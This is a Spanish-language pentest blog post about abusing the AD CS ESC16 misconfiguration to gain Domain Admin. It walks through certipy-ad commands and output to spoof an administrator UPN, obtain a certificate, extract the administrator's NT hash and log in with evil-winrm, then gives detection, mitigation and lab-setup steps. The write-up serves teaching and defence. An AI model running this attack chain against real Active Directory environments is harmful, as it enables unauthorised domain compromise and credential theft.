Autor: José Milane — LinkedIn
Hace unos días, en medio de un pentest interno junto a mis compañeros de trabajo, nos encontramos con una configuración bastante curiosa en el entorno de Active Directory. Al principio parecía que no iba a pasar nada… pero al revisar bien la CA (Autoridad de Certificación) nos dimos cuenta de que tenía ESC16 —y sí, lo aprovechamos para conseguir ese tan deseado “Domain Admin” sin sudar mucho.
Así que decidí escribir este blog para compartir la experiencia, ya que probablemente existan muchísimos entornos por ahí con esta mala configuración y ni cuenta se han dado. Puede que este post le sirva a alguien que esté aprendiendo sobre AD CS o simplemente quiera ver cómo sacarle provecho a este tipo de escenarios.
ESC16 es una de esas configuraciones peligrosas que aparecen cuando alguien mete mano en los registros del servidor de certificados y desactiva sin saber una extensión llamada szOID_NTDS_CA_SECURITY_EXT
(OID: 1.3.6.1.4.1.311.25.2
).
Esta extensión es la que se encarga de garantizar que un certificado esté vinculado correctamente al usuario de Active Directory usando su SID. Si no está, los controladores de dominio vuelven a usar métodos viejos como el UPN o el SAN para verificar que el certificado pertenece al usuario. O sea… autenticación al estilo 2005.
Porque si alguien puede cambiar su propio userPrincipalName
y luego pedir un certificado con el UPN de un admin… el KDC se lo va a creer. Literal. Te autenticas como administrador usando un .pfx
generado por ti mismo y ya, acceso completo.
Pero hay que tener en cuenta 2 puntos para que esto sea posible:
1.3.6.1.4.1.311.25.2
tiene que estar en la lista de extensiones deshabilitadas.StrongCertificateBindingEnforcement
en 1).Lo primero que debemos hacer para validar si el CA es vulnerable a ESC16 es utilizar la versión 5.0.2 de certipy-ad, ya que si tienes una version inferior no va a detectar el nuevo ataque de ESC16.
En el escenario que tenemos para estas pruebas, el objetivo es conseguir el hash NTLM del usuario Administrador del Dominio o Administrator
.
Por aquí, una representación gráfica de lo que haremos a continuación:
Utilizamos certipy-ad para buscar configuraciones peligrosas en los servicios de certificados, usando el usuario james
, el usuario que se nos asignó para las pruebas en el formato Assume The Breach, que quiere decir que iniciamos partiendo de la idea que una persona de bajos privilegios en la organización fue comprometida:
certipy-ad find -vulnerable -u [email protected] -p "JamesCorp_2025!" -stdout
Cabe destacar que durante nuestra fase de enumeración, notamos que el usuario james
tiene permisos de GenericWrite
sobre la cuenta fulanito
, lo cual nos permite modificar algunos de sus atributos. La cuenta fulanito
es un usuario común del dominio, sin privilegios elevados ni nada especial.
Para poder llevar a cabo este ataque necesitamos 2 cosas fundamentales, 1ro permisos para editar las propiedades de un usuario del Active Directory, esto ya lo tenemos al usuario fulanito
y 2do que el CA sea vulnerable a ESC16, esto también lo confirmamos con certipy-ad
.
Aunque certipy-ad ya nos dice que el entorno es vulnerable a ESC16, los siguientes detalles nos ayudan a confirmar que el CA está mal configurado:
1.3.6.1.4.1.311.25.2
está en la lista de deshabilitadas. Eso significa que los certificados emitidos no van a incluir el SID del usuario, lo cual es la base del ataque ESC16.userPrincipalName
del usuario fulanito
, esto no nos afecta.james
, y tenemos control sobre el UPN de fulanito
, podemos solicitar el certificado sin problema.fulanito
a administrator
Utilizando los permisos de james
sobre fulanito
, usamos Certipy para modificar el UPN de fulanito
y hacerlo pasar por el administrator:
certipy-ad account -u '[email protected]' -p 'JamesCorp_2025!' -target 'dc01.testcorp.local' -upn 'administrator' -user 'fulanito' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'fulanito':
userPrincipalName : administrator
[*] Successfully updated 'fulanito'
Este comando nos permitió modificar el atributo (userPrincipalName
) de fulanito
a que sea administrator. Con el fin, de engañar a la entidad certificadora, para que crea que somos el usuario Administrator.
Ahora que fulanito
tiene el UPN del administrator, pedimos un certificado como él para hacernos pasar por el administrator:
certipy-ad req -dc-ip '192.168.238.134' -u '[email protected]' -p 'MisuperPass001!' -target 'dc01.testcorp.local' -ca 'testcorp-DC01-CA' -template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
Esto nos permitió obtener un .pfx
con el UPN del administrator. Ya con esto casi estamos ready para hacernos pasar por él.
Antes de usar el certificado, necesitamos poner el UPN de fulanito
como estaba, para que el dominio no vea 2 UPNs con el mismo valor y de problemas.
Revertimos el cambio de UPN al original de fulanito
:
certipy-ad account -u '[email protected]' -p 'JamesCorp_2025!' -target 'dc01.testcorp.local' -upn 'fulanito' -user 'fulanito' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'fulanito':
userPrincipalName : fulanito
[*] Successfully updated 'fulanito'
Ahora usamos el .pfx
generado para autenticarnos y obtener el TGT y NT hash del administrator real:
certipy-ad auth -dc-ip '192.168.238.134' -pfx administrator.pfx -username 'Administrator' -domain 'testcorp.local'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3*****:8da83a3fa618b6e3a0********
Esto tambien nos genera un archivo .ccache
el cual podemos utilizar para entrar al sistema como administrador usando kerberos.
Usaremos el ntlm hash para entrar al sistema con la herramienta evil-wirm
evil-winrm -i 192.168.238.134 -u administrator -H 8da83a3fa618b6e3a0********
Y con esto logramos comprometer el controlador de dominio abusando del ESC16. Ahora hablemos para los blueteamers, ¿qué hacer para identificar si somos vulnerables a ESC16?
Primero buscamos el CA, para esto abrimos CertSrv.msc
con win + R:
En este apartado podemos ver las propiedades de cada CA disponible.
Luego uso este comando para revisar si hay extensiones deshabilitadas en la CA. Me interesa ver si aparece 1.3.6.1.4.1.311.25.2
, que es la extensión que vincula el certificado con el SID del usuario. Si está desactivada, ya sabemos que el entorno es vulnerable a ESC16.
certutil -getreg policy\EnableRequestExtensionList
Y como podemos ver en la salida, la extension 1.3.6.1.4.1.311.25.2
no aparece en la lista de extensiones, lo que nos confirma la posibilidad de un ESC16.
Para mitigar esta mala configuración, simplemente hay que asegurarse de que el CA incluya la extensión szOID_NTDS_CA_SECURITY_EXT
(1.3.6.1.4.1.311.25.2
) en las solicitudes de certificado. Esto se hace agregándola manualmente a la lista de extensiones permitidas con el siguiente comando:
certutil -setreg policy\EnableRequestExtensionList "+1.3.6.1.4.1.311.25.2"
Recuerda reiniciar el servicio de el CA para que el cambio sea aplicado:
Restart-Service certsvc
En caso que estés interesado en hacer un CA vulnerable a ESC16 puedes hacer lo siguiente:
Desactivamos la extensión que vincula el certificado con el SID del usuario:
certutil -setreg policy\EnableRequestExtensionList "-1.3.6.1.4.1.311.25.2"
Luego bajamos el modo estricto del KDC para que acepte certificados sin SID:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Kdc" -Name "StrongCertificateBindingEnforcement" -Value 0
Y reiniciamos el servicio para aplicar los cambios:
Restart-Service certsvc
Y bueno, eso fue todo por hoy. Espero que este post te haya servido para entender bien cómo funciona ESC16 y cómo se puede abusar en un entorno real. Si te gustó, compártelo con tu team o guárdalo para cuando te toque enfrentarte a una CA mal configurada por ahí.
Voy a estar dejando algunos links con más info detallada sobre ESC16 por si quieres seguir profundizando o ver otros enfoques del mismo ataque.
¡Nos vemos en el próximo post, que seguro viene durisimo!